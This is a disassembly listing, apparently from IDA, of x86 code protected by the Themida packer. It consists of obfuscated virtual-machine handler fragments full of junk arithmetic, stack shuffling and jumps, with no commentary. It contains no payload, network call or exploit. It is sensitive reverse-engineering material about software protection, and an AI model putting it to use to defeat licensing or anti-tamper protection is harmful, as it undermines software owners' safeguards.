; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556672:				; CODE XREF: sub_559C84-3E61j
		add	[esp+66h+var_60+2], 418750Eh
		sub	[esp+66h+var_60+2], ebx
		jmp	loc_55BD4C
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553ADA


loc_556683:				; CODE XREF: sub_553ADA+6j
		pop	dword ptr [eax]
		pop	eax
		jmp	loc_559A39
; END OF FUNCTION CHUNK	FOR sub_553ADA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55668B:				; CODE XREF: sub_559C84-636Dj
		add	ecx, edx
		add	ecx, 2CE81FC1h
		pop	edx
		sub	esp, 4
		mov	[esp+50h+var_52+2], ebx
		mov	ebx, 4D2E4D0Eh
		and	ebx, 346F6553h
		neg	ebx
		xor	ebx, 1861382Dh
		inc	ebx
		sub	ebx, 0E3B082D2h
		add	ecx, ebx
		pop	ebx
		push	ecx
		push	[esp+50h+var_4E+2]
		pop	ecx
		pop	[esp+50h+var_52+2]
		jmp	loc_55DEBF
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5566C5:				; CODE XREF: Themida_:00557E58j
		mov	eax, 4
		add	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_558B88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5566D7:				; CODE XREF: sub_559C84+43Dj
		push	esi
		xchg	ecx, [esp+50h+var_52+2]
		xchg	ebp, ecx
		not	ebp
		xchg	ebp, ecx
		xchg	ecx, [esp+50h+var_52+2]
		push	[esp+50h+var_52+2]
		jmp	loc_55C302
; ---------------------------------------------------------------------------


loc_5566EC:				; CODE XREF: sub_559C84-4A4Bj
		mov	[esp+4Eh+var_4E], esi
		jmp	loc_5595BA
; ---------------------------------------------------------------------------


loc_5566F4:				; CODE XREF: sub_559C84-5FE5j
		pop	ebp
		pop	edx
		and	eax, ebp
		pop	ebp
		or	edx, eax
		jmp	loc_558FBC
; ---------------------------------------------------------------------------


loc_556700:				; CODE XREF: sub_559C84-363Ej
		mov	esi, 4
		sub	edi, esi
		jmp	loc_55DEB2
; ---------------------------------------------------------------------------


loc_55670C:				; CODE XREF: sub_559C84+CBAj
		sub	ebx, 10009CEh
		mov	edx, [esp+50h+var_52+2]
		add	esp, 4


loc_556718:				; CODE XREF: sub_558684+5j
		sub	esp, 4
		mov	[esp+50h+var_52+2], edx
		mov	edx, esp
		push	ebp
		jmp	loc_55CCD2
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_556729:				; CODE XREF: Themida_:00559283j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556738:				; CODE XREF: sub_559C84+4C9Bj
		mov	esi, 4F31F66h
		sub	[esp+54h+var_52+2], 41471330h
		add	[esp+54h+var_52+2], esi
		add	[esp+54h+var_52+2], 41471330h
		pop	esi
		mov	edx, [esp+50h+var_52+2]
		jmp	loc_55E37C
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55675A:				; CODE XREF: Themida_:00558D34j
		push	6B2Eh
		mov	[esp], edi
		push	eax
		mov	eax, 0AE23318h
		mov	edi, 0AE2331Ch
		add	edi, 38F85C9Ch
		sub	edi, 353C5552h
		sub	edi, eax
		add	edi, 353C5552h
		push	ecx
		mov	ecx, 38F85C9Ch
		jmp	loc_555F93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55678C:				; CODE XREF: sub_559C84-D9Ej
		mov	[esp+50h+var_52+2], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 4FA76B03h
		jmp	loc_554D96
; ---------------------------------------------------------------------------


loc_5567A1:				; CODE XREF: sub_559C84+2060j
		add	edx, eax
		add	edx, 3DA46439h
		push	ebp
		push	490F3AA3h
		pop	ebp
		jmp	loc_55E525
; ---------------------------------------------------------------------------


loc_5567B5:				; CODE XREF: sub_559C84+40D0j
		sub	al, bl
		add	al, 0A6h
		jmp	loc_55DECB
; ---------------------------------------------------------------------------


loc_5567BE:				; CODE XREF: sub_559C84+D67j
		mov	[esp+58h+var_58], ebp
		sub	esp, 4
		mov	[esp+5Ch+var_5C], ecx
		push	1834h
		mov	[esp+60h+var_60], edx
		mov	edx, 3F2A4AC7h
		xor	[esp+60h+var_5C], edx
		jmp	loc_5584D3
; ---------------------------------------------------------------------------


loc_5567DD:				; CODE XREF: sub_559C84-2C06j
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp+60h+var_60]
		jmp	loc_558EE5
; ---------------------------------------------------------------------------


loc_5567EE:				; CODE XREF: sub_559C84+54ABj
		shl	esi, 5
		not	esi
		jmp	loc_55880C
; ---------------------------------------------------------------------------


loc_5567F8:				; CODE XREF: sub_559C84-4195j
		pop	edi
		pop	[esp+4Ch+var_4E+2]
		pop	esp
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_556802:				; CODE XREF: sub_559C84-174Fj
		pop	esi
		sub	edi, 192906A9h
		add	edi, edx
		add	edi, 192906A9h
		push	[esp+40h+var_42+2]
		pop	edx
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		jmp	loc_557D3B
; ---------------------------------------------------------------------------


loc_556829:				; CODE XREF: sub_559C84-2ADAj
		mov	ebp, 0FA1420h
		add	[esp+44h+var_3E+2], ebp
		pop	ebp
		push	ecx
		jmp	loc_5556E5
; ---------------------------------------------------------------------------


loc_556839:				; CODE XREF: sub_559C84-4994j
		pop	esp
		mov	[esp+1Ch+var_1C], edx
		push	ecx
		mov	ch, 3Fh
		mov	dh, 0B7h
		xor	dh, ch
		pop	ecx
		mov	bl, dh
		jmp	loc_5574D3
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55684C:				; CODE XREF: Themida_:0055FC33j
		pop	eax
		xor	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 56C528C9h
		not	eax
		shl	eax, 3
		add	eax, 0D5402818h
		sub	ecx, eax
		pop	eax
		jmp	loc_55656A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556870:				; CODE XREF: sub_559C84+3B2Ej
		mov	[esp+1Ch+var_1C], edi
		sub	esp, 4
		mov	[esp+20h+var_20], esp
		add	[esp+20h+var_20], 4
		jmp	loc_55F2ED
; ---------------------------------------------------------------------------


loc_556885:				; CODE XREF: sub_559C84-4B1Dj
		xchg	edi, [esp-12h+arg_C+2]
		pop	esp
		shl	esi, 3
		push	ebp
		mov	ebp, 9220E109h
		add	esi, ebp
		pop	ebp
		add	eax, esi
		pop	esi
		push	16E4h
		mov	[esp-16h+arg_10+2], ebp
		push	esi
		jmp	loc_55D573
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5561B6


loc_5568A6:				; CODE XREF: sub_5561B6+B48j
		sub	ebp, 1B0B7C75h
		add	ebp, 182C3FAFh
		add	ebp, edi
		sub	ebp, 182C3FAFh
		push	ebx
		push	edx
		mov	edx, 78E93DE5h
		mov	ebx, edx
		pop	edx
		jmp	loc_5587A0
; END OF FUNCTION CHUNK	FOR sub_5561B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559AA2


loc_5568C9:				; CODE XREF: sub_559AA2-62B4j
		push	edx
		mov	edx, 66935D18h
		inc	edx
		shl	edx, 5
		shr	edx, 8
		xor	edx, 627A32E3h
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	eax, 64887FC2h
		jmp	loc_55C1A9
; END OF FUNCTION CHUNK	FOR sub_559AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5568EF:				; CODE XREF: sub_559C84-121j
		mov	[esp-12h+arg_C+2], ebx
		jmp	loc_55612F
; ---------------------------------------------------------------------------


loc_5568F7:				; CODE XREF: sub_559C84+4FECj
		pop	ebx
		jmp	loc_556B25
; ---------------------------------------------------------------------------


loc_5568FD:				; CODE XREF: sub_559C84+C38j
		neg	dh
		shr	dh, 1
		and	dh, 9Ch
		and	dh, 0C3h
		not	dh
		xor	dh, 83h
		add	al, dh
		pop	edx
		jmp	loc_55E400
; ---------------------------------------------------------------------------


loc_556914:				; CODE XREF: sub_559C84-20Aj
		add	ebx, eax
		pop	eax
		add	ebx, 4
		jmp	loc_55A0C6
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_554A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5559F0


loc_55692A:				; CODE XREF: sub_5559F0+Cj
		push	esp
		pop	edi
		jmp	loc_558A46
; END OF FUNCTION CHUNK	FOR sub_5559F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556931:				; CODE XREF: sub_559C84-2BF6j
		add	al, dl
		pop	dx
		mov	dx, word ptr [esp-20h+arg_1C]
		add	esp, 2
		jmp	loc_55B511
; ---------------------------------------------------------------------------


loc_556941:				; CODE XREF: sub_559C84+27D8j
		neg	ebp
		sub	ebp, 1D1121BEh
		jmp	loc_559857
; ---------------------------------------------------------------------------


loc_55694E:				; CODE XREF: sub_559C84+8CDj
		pop	esp
		add	bl, 19h
		add	bl, 5Fh
		push	edx
		push	ax
		jmp	loc_55A7D0
; ---------------------------------------------------------------------------


loc_55695D:				; CODE XREF: sub_559C84-5D7Dj
		add	edx, 4
		jmp	loc_55C398
; ---------------------------------------------------------------------------


loc_556968:				; CODE XREF: sub_559C84-64CEj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+24h+var_24]
		pop	esp
		sub	esp, 2
		mov	word ptr [esp+24h+var_24], dx
		push	ebx
		push	ecx
		mov	ch, 0FBh
		mov	bh, ch
		jmp	loc_554AF2
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55698E	proc near		; CODE XREF: sub_559C84-E4Bj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0055742B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00558FF7 SIZE 0000002D BYTES

		push	ebp
		mov	ebp, 274800B2h
		xor	ebp, 0C393D8Ch


loc_55699A:				; DATA XREF: sub_559C84:loc_55D379o
		or	ebp, 0AF48EAh
		jmp	loc_558FF7
sub_55698E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5569A5:				; CODE XREF: sub_559C84-4A0Fj
		add	eax, ecx
		push	ebp
		jmp	loc_55E5E5
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		push	ebp
		push	ebx
		push	eax
		pop	ebx
		push	ecx
		mov	ecx, ebx
		mov	ebp, ecx
		pop	ecx
		jmp	loc_55851C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5569BC:				; CODE XREF: sub_559C84-1568j
		xor	edx, [esp+52h+var_52]
		jmp	loc_55969F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 770434CBh
		neg	edi
		neg	edi
		xchg	edx, edi
		push	edx
		jmp	loc_554723
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5569DD:				; CODE XREF: sub_559C84+EB7j
		sub	esi, ebx
		jmp	loc_55AD34
; ---------------------------------------------------------------------------


loc_5569E4:				; CODE XREF: sub_559C84-5A79j
		push	esi
		mov	esi, 5853233Fh
		sub	esi, 0ED59F7AAh
		jmp	loc_55B872
; ---------------------------------------------------------------------------


loc_5569F5:				; CODE XREF: sub_559C84+2BFEj
		sub	eax, 69C85CACh
		push	edx
		mov	edx, 0BE5976h
		shl	edx, 1
		shr	edx, 2
		jmp	loc_554BA6
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_556A0A:				; CODE XREF: Themida_:0055F990j
		mov	cl, 4Dh
		push	eax
		push	edx
		push	eax
		mov	al, 14h
		jmp	loc_55C27F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556A16:				; CODE XREF: sub_559C84-5515j
		push	22C3D1Bh
		pop	edx
		xor	[esp+3Ch+var_3A+2], edx
		pop	edx
		jmp	loc_554531
; ---------------------------------------------------------------------------


loc_556A26:				; CODE XREF: sub_559C84-63DCj
		dec	ecx
		jmp	loc_55F50B
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_556A2C:				; CODE XREF: Themida_:00554459j
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556A31:				; CODE XREF: sub_559C84-3AE2j
		mov	ebx, [esp+44h+var_46+2]
		add	esp, 4
		add	ebx, ecx
		mov	ecx, [esp+40h+var_42+2]
		add	esp, 4
		add	ebx, 2
		xchg	ebx, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		btc	word ptr [esp+3Ch+var_3E+2], ax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_556A56:				; CODE XREF: sub_559C84+2E80j
		shr	byte ptr [esp+40h+var_42+2], cl
		pushf
		jmp	loc_557D13
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_556A5F:				; CODE XREF: Themida_:00554319j
		add	esp, 4
		jmp	loc_555F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556A6A:				; CODE XREF: sub_559C84+D2Dj
		sub	eax, edi
		pop	edi
		mov	ecx, [esp+40h+var_42+2]
		push	esi
		mov	esi, esp
		jmp	loc_557D18
; ---------------------------------------------------------------------------


loc_556A78:				; CODE XREF: sub_559C84-6DDj
		pop	edx
		xchg	ebx, [esp+40h+var_42+2]
		mov	esp, [esp+40h+var_42+2]
		jmp	loc_558DEC
; ---------------------------------------------------------------------------


loc_556A84:				; CODE XREF: sub_559C84+3764j
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_55BE98
; ---------------------------------------------------------------------------


loc_556A91:				; CODE XREF: sub_559C84+924j
		mov	[esp+44h+var_46+2], edi
		mov	edi, 2
		add	ecx, 10B76326h
		jmp	loc_55E287
; ---------------------------------------------------------------------------


loc_556AA4:				; CODE XREF: sub_559C84-391Bj
		mov	ebp, esp
		jmp	loc_556E3B
; ---------------------------------------------------------------------------


loc_556AAB:				; CODE XREF: sub_559C84+3DB4j
		push	edx
		mov	dh, 0E0h
		neg	dh
		xor	dh, 0C4h
		add	bl, dh
		jmp	loc_55A295
; ---------------------------------------------------------------------------


loc_556ABA:				; CODE XREF: sub_559C84+2177j
		mov	ebp, [esp+5Ah+var_5C+2]
		push	ecx
		jmp	loc_55E4F6
; ---------------------------------------------------------------------------


loc_556AC3:				; CODE XREF: sub_559C84-99Bj
		push	edx
		mov	edx, 4
		jmp	loc_55B6DC
; ---------------------------------------------------------------------------


loc_556ACE:				; CODE XREF: sub_559C84+1F6Cj
		sub	edi, 2362310Ch
		xor	edi, 0DC48CE70h
		add	ecx, 3A6060CAh
		add	ecx, edi
		jmp	loc_55EF32
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		lodsd
		push	372Fh
		mov	[esp], edi
		jmp	loc_55F4CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556FC2


loc_556AF5:				; CODE XREF: sub_556FC2+22j
		xor	ecx, esi
		pop	esi
		add	edx, ecx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_556FC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556B05:				; CODE XREF: sub_559C84-100Fj
		add	esi, 4
		jmp	loc_55B209
; ---------------------------------------------------------------------------


loc_556B10:				; CODE XREF: sub_559C84+F6Fj
		sub	edx, 6C32A6Fh
		add	edx, 0D6352D4Ah
		mov	ebp, edx
		pop	edx
		inc	ebp
		jmp	sub_5558B3
; ---------------------------------------------------------------------------


loc_556B25:				; CODE XREF: sub_559C84-338Cj
		sub	dl, cl
		jmp	loc_55C3A1
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_556B2C:				; CODE XREF: Themida_:00557A2Aj
		pop	edx
		pop	esi
		jmp	loc_55BB68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556B33:				; CODE XREF: sub_559C84-B74j
		add	esi, 4
		sub	esp, 4
		mov	[esp-12h+arg_C+2], ebp
		mov	ebp, 7D085EB7h
		jmp	loc_559937
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_556B4C:				; CODE XREF: Themida_:005539FEj
		xor	ebp, 0BD14FAFh
		sub	esp, 4
		mov	[esp], eax
		push	0D9E5162h
		pop	eax
		sub	eax, 44D09A8h
		jmp	loc_556F41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556B68:				; CODE XREF: sub_559C84+26Fj
		mov	[esp-12h+arg_C+2], edi
		jmp	loc_55BD23
; ---------------------------------------------------------------------------


loc_556B70:				; CODE XREF: sub_559C84+1828j
		mov	ecx, esi
		pop	esi
		jmp	loc_556188
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_556B78	proc near		; DATA XREF: Themida_:00553460o

var_4		= dword	ptr -4

		lodsd
		push	esi
		mov	esi, 7375193Eh
		sub	eax, esi
		mov	esi, [esp+4+var_4]
		push	edx
		push	esp
		pop	edx
		push	esi
		jmp	loc_55CD12
sub_556B78	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556B8D:				; CODE XREF: sub_559C84-4D26j
		pop	edx
		jmp	loc_55992F
; ---------------------------------------------------------------------------


loc_556B93:				; CODE XREF: sub_559C84+3959j
		add	[esp+4Eh+var_4E], 4
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp+4Eh+var_4E], ebp
		jmp	loc_557B0C
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 43456913h
		jmp	loc_5576FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556BB4:				; CODE XREF: sub_559C84+46B9j
		xchg	edi, [esp+4Eh+var_4E]
		mov	esp, [esp+4Eh+var_4E]
		movzx	ecx, ax
		push	27EFh
		jmp	loc_5591BF
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55590A


loc_556BC7:				; CODE XREF: sub_55590A+3672j
		add	ebp, 0EFBFFBB8h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		push	772Ah
		jmp	loc_557588
; END OF FUNCTION CHUNK	FOR sub_55590A
; ---------------------------------------------------------------------------


loc_556BE0:				; CODE XREF: Themida_:005539AAj
		not	ah
		sub	ah, 71h
		sub	ah, 0E7h
		and	ah, 0D5h
		jmp	loc_55DD67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556BF0:				; CODE XREF: sub_559C84-2514j
		sub	ebp, 745301EEh
		pop	ecx
		jmp	loc_558FE0
; ---------------------------------------------------------------------------


loc_556BFC:				; CODE XREF: sub_559C84-17BDj
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	cl, 0A8h
		not	cl
		jmp	loc_55D9EC
; ---------------------------------------------------------------------------


loc_556C12:				; CODE XREF: sub_559C84-75Dj
		xor	esi, 48B023E1h
		inc	esi
		and	esi, 46C64D7h
		xor	esi, 15A91CEEh
		jmp	loc_5590E4
; ---------------------------------------------------------------------------


loc_556C2A:				; CODE XREF: sub_559C84+1E70j
		add	eax, esi
		jmp	loc_55D102
; ---------------------------------------------------------------------------


loc_556C31:				; CODE XREF: sub_559C84+2C68j
		sub	ebp, 58AD3CC8h
		or	ebp, 34AF1830h
		add	ebp, 915C075Bh
		xor	eax, ebp
		pop	ebp
		push	small word ptr [eax]
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5547B0


loc_556C4E:				; CODE XREF: sub_5547B0+A4Cj
		xor	esi, eax
		mov	eax, [esp+8+var_8]
		jmp	loc_55C7F5
; END OF FUNCTION CHUNK	FOR sub_5547B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556C58:				; CODE XREF: sub_559C84+53ECj
		mov	eax, [esp+48h+var_4A+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55A799
; ---------------------------------------------------------------------------


loc_556C69:				; CODE XREF: sub_559C84+1D3Ej
		shr	eax, 2
		xchg	eax, ecx
		inc	ecx
		xchg	eax, ecx
		neg	eax
		push	3803h
		mov	[esp+50h+var_52+2], ebx
		push	edi
		mov	edi, 1FE93D39h
		mov	ebx, 9A13FB89h
		jmp	loc_55A612
; ---------------------------------------------------------------------------


loc_556C89:				; CODE XREF: sub_559C84+51DFj
		add	bl, 4Bh
		sub	bl, dh
		sub	bl, 4Bh
		pop	edx
		add	al, 0B0h
		add	al, bl
		jmp	loc_5537AB
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556D58


loc_556C9B:				; CODE XREF: sub_556D58+1j
		push	ecx
		push	1B1E4771h
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		push	ebx
		push	edx
		push	71CA053Dh
		pop	edx
		and	edx, 28D81A3Bh
		shl	edx, 4
		jmp	loc_55AF3D
; END OF FUNCTION CHUNK	FOR sub_556D58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5561B6


loc_556CBD:				; CODE XREF: sub_5561B6+12j
		mov	edi, 38384BBCh
		sub	edi, 67394B96h
		dec	edi
		push	esi
		mov	esi, 5F076E85h
		add	esi, 5F730C3h
		neg	esi
		or	esi, 5FAE278Eh
		add	esi, 3A1734BDh
		add	esi, 10839E71h
		add	edi, esi
		pop	esi
		xor	edi, 36AF7A87h
		sub	edi, 57E809A7h
		xor	edi, 75FE37EBh
		jmp	loc_5568A6
; END OF FUNCTION CHUNK	FOR sub_5561B6

; =============== S U B	R O U T	I N E =======================================



sub_556D03	proc near		; CODE XREF: sub_559C84-1485j

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, 2
		sub	edi, 0BBE1AC6h
		add	edi, ebx
		add	edi, 0BBE1AC6h
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_55CC30
sub_556D03	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556D25:				; CODE XREF: sub_559C84-504j
		add	esi, ecx
		sub	esi, 272A6DE8h
		pop	ecx
		add	esi, 2
		xchg	esi, [esp+4Ch+var_4E+2]
		jmp	loc_555FDB
; ---------------------------------------------------------------------------


loc_556D39:				; CODE XREF: sub_559C84-6195j
		shl	eax, 2
		dec	eax
		sub	eax, 46CEA357h
		push	esi
		jmp	loc_55ADE3
; ---------------------------------------------------------------------------


loc_556D48:				; CODE XREF: sub_559C84+7A8j
		not	ecx
		jmp	loc_55BD40
; ---------------------------------------------------------------------------


loc_556D4F:				; CODE XREF: sub_559C84+255Ej
		sub	al, bh
		pop	bx
		jmp	loc_5585EE
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_556D58	proc near		; CODE XREF: sub_559C84+3019j

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00556C9B SIZE 00000022 BYTES

		push	ebx
		jmp	loc_556C9B
sub_556D58	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556D5E:				; CODE XREF: sub_559C84+C68j
		mov	[esp+40h+var_42+2], ecx
		jmp	loc_55A623
; ---------------------------------------------------------------------------


loc_556D66:				; CODE XREF: sub_559C84-49E8j
		mov	edx, 1FDAFD58h
		add	edx, edi
		pop	edi
		push	edx
		jmp	loc_55C0FC
; ---------------------------------------------------------------------------


loc_556D74:				; CODE XREF: sub_559C84-4875j
		add	bl, 52h
		sub	bl, al
		sub	bl, 52h
		add	bl, 41h
		sub	bl, 74h
		sub	bl, 5Fh
		sub	bl, 19h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_556D93:				; CODE XREF: sub_559C84+22F8j
		push	eax
		push	[esp+48h+var_46+2]
		mov	eax, [esp+4Ch+var_4E+2]
		add	esp, 4
		pop	[esp+48h+var_4A+2]
		pop	esp
		jmp	loc_55DA51
; ---------------------------------------------------------------------------


loc_556DA7:				; CODE XREF: sub_559C84+2DB1j
		push	732B2E36h
		pop	ebx
		jmp	loc_55989E
; ---------------------------------------------------------------------------


loc_556DB2:				; CODE XREF: sub_559C84+3200j
		sub	bl, 2Ch
		add	bl, 0AAh
		mov	ecx, [esp+40h+var_42+2]
		push	ebp
		push	esp
		mov	ebp, [esp+48h+var_4A+2]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+44h+var_46+2]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_42+2], ebx
		jmp	loc_55E02D
; ---------------------------------------------------------------------------


loc_556DF1:				; CODE XREF: sub_559C84+2AA2j
		mov	[esp+40h+var_42+2], ecx
		mov	ecx, 1Ch
		jmp	loc_55D33C
; ---------------------------------------------------------------------------


loc_556DFE:				; CODE XREF: sub_559C84+C4Fj
		and	bl, 0F1h
		dec	bl
		add	bl, 21h
		jmp	loc_553F94
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_556E0B:				; CODE XREF: Themida_:005547ABj
		mov	esp, [esp]
		jmp	loc_55A840
; ---------------------------------------------------------------------------


loc_556E13:				; CODE XREF: Themida_:0055F8BBj
		pop	ax
		push	ecx
		mov	cl, 0F1h
		xor	cl, 22h
		xor	dl, cl
		pop	ecx
		sub	dl, 0FFh
		push	ebx
		mov	bh, dl
		jmp	loc_55CE89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E425


loc_556E29:				; CODE XREF: sub_55E425+1Cj
		sub	esi, 7C471701h
		jmp	loc_5574A3
; END OF FUNCTION CHUNK	FOR sub_55E425
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556E34:				; CODE XREF: sub_559C84+1D81j
		mov	ch, 91h
		jmp	loc_557168
; ---------------------------------------------------------------------------


loc_556E3B:				; CODE XREF: sub_559C84-31DEj
		add	ebp, 4
		jmp	loc_556254
; ---------------------------------------------------------------------------


loc_556E46:				; CODE XREF: sub_559C84-213Dj
		add	esp, 4
		or	eax, eax
		jz	loc_5559D1
		push	dword ptr [edi+1Ch]
		jmp	loc_55C20B
; ---------------------------------------------------------------------------


loc_556E59:				; CODE XREF: sub_559C84+1F89j
		add	bl, cl
		jmp	loc_558958
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_556E60:				; CODE XREF: Themida_:0055EF7Aj
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	0CC3h
		mov	[esp], edi
		push	1446h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_554981
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_556E95:				; CODE XREF: sub_559C84+18BCj
		mov	bl, dl
		pop	edx
		jmp	loc_55ED46
; ---------------------------------------------------------------------------


loc_556E9D:				; CODE XREF: sub_559C84-60B6j
		mov	[esp+18h+var_18], ecx
		mov	ecx, 642240D2h
		jmp	loc_55F784
; ---------------------------------------------------------------------------


loc_556EAA:				; CODE XREF: sub_559C84+2E13j
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 58621B50h
		add	ebx, 416724FBh
		dec	ebx
		xor	ebx, 99C9404Eh
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+18h+var_18]
		jmp	loc_55D5D1
; ---------------------------------------------------------------------------


loc_556EDA:				; CODE XREF: sub_559C84+B47j
		pop	edi
		sub	ebx, 4
		xchg	ebx, [esp+14h+var_14]
		pop	esp
		mov	[esp+10h+var_10], ecx
		sub	esp, 4
		mov	[esp+14h+var_14], esp
		add	[esp+14h+var_14], 4
		pop	ecx
		push	edx
		jmp	loc_55D02C
; ---------------------------------------------------------------------------


loc_556EF6:				; CODE XREF: sub_559C84+378Fj
		xor	ebp, 0CC4CEB6Fh
		add	ebx, ebp
		pop	ebp
		sub	ebx, 2
		jmp	sub_55F9FD
